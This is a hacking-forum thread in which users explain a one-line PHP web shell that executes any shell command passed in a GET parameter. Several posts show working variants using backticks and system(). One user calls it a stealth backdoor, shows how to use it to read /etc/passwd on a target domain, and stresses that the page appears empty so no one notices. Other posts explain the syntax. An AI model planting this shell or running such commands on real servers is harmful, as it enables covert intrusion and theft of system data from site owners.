[Skidy]

I've seen this a few times before.

Code

<?=`{$_GET['x']}`;

how can you use this shell and what commands can I use from it? Please can someone explain it in further detail. To me its just getting the information from x. Like: X?=somecode. But what could u do?

[HaxOr❤]

You can do pretty much anything. Execute any command you want from it.
That equals this

Code

<? system($_GET['x']); ?>

[LevelUp]

You can do pretty much anything. Execute any command you want from it.
That equals this

Code

<? system($_GET['x']); ?>

Incorrect, it is equaled to shell_exec().

[Mr.0_0]

I've seen this a few times before.

Code

<?=`{$_GET['x']}`;

how can you use this shell and what commands can I use from it? Please can someone explain it in further detail. To me its just getting the information from x. Like: X?=somecode. But what could u do?

No,

PHP Code


<?php 
somepage.php?x="ls -la" 


Thats how you want to use it.

[l33twebhacker]

i call it is backdoor . it you insert this code into a.php. you can access remote command execution (RCE)

Code

domain.com/a.php?x=cat /etc/passwd

if you check domain.com/a.php it show empty. :D no one know. 🙃
7 character shot backdoor.

Code

<?=`*`;

PHP Code


<?php 
http://wget.pw/posts/32c3-ctf-tinyhosting-web-250 


[Viktory]

Ok let's break it down for you a bit to see how the code ACTUALLY works.

Code

<?=

php short (echo) tag, echoes the command's output. Also closing tag not necessary as it is a one liner.
https://secure.php.net/manual/en/ini.cor...t-open-tag

Code

` ... `

backticks are an execution operator in php, passes input to shell_exec()
https://secure.php.net/manual/en/languag...cution.php

Code

{ ... }

concatenation brackets, as $_GET is an array
https://stackoverflow.com/questions/4676...in-strings

Code

$_GET['x']

a get variable
https://secure.php.net/manual/en/reserve...es.get.php

[Vellichor]

https://hackforums.net/showthread.php?ti...id49210316
Could've just asked, you know, the guy who wrote it.

---

php short (echo) tag, echoes the command's output. Also closing tag not necessary as it is a one liner.

Incorrect, the closing tag is no longer necessary for the past 10 years, period. Furthermore, Zend considers closing your PHP script as a bad practice.

[l33twebhacker]

https://hackforums.net/showthread.php?ti...id49210316
Could've just asked, you know, the guy who wrote it.

---

Incorrect, the closing tag is no longer necessary for the past 10 years, period. Furthermore, Zend considers closing your PHP script as a bad practice.

i think it depend on the server. some server not working without <?php.

<?php echo $var; ?> == <?= $var; ?>

[Vellichor]

i think it depend on the server. some server not working without <?php.

<?php echo $var; ?> == <?= $var; ?>

Nobody talked about short echo tags / short open tags. I talked about closing the PHP tags.
Yes they're server-depended. lookup 'short_open_tag' on php.ini if you care.

[HaxOr❤]

Incorrect, it is equaled to shell_exec().

Sorry senpai i wont dissapoint you again. 😟

[Viktory]

Incorrect, the closing tag is no longer necessary for the past 10 years, period. Furthermore, Zend considers closing your PHP script as a bad practice.

You're right, short tag has had some controversy regarding its use too but I've never had a problem with either (guess because all my projects are limited to localhost lol)

Come to think about it, iirc you're the one who explained how this works to me a long time ago!

[Vicellus Drum]

http://www.golemtechnologies.com/article...-injection

[Hacker Team]

Hello,
as many people said you it depends about the server.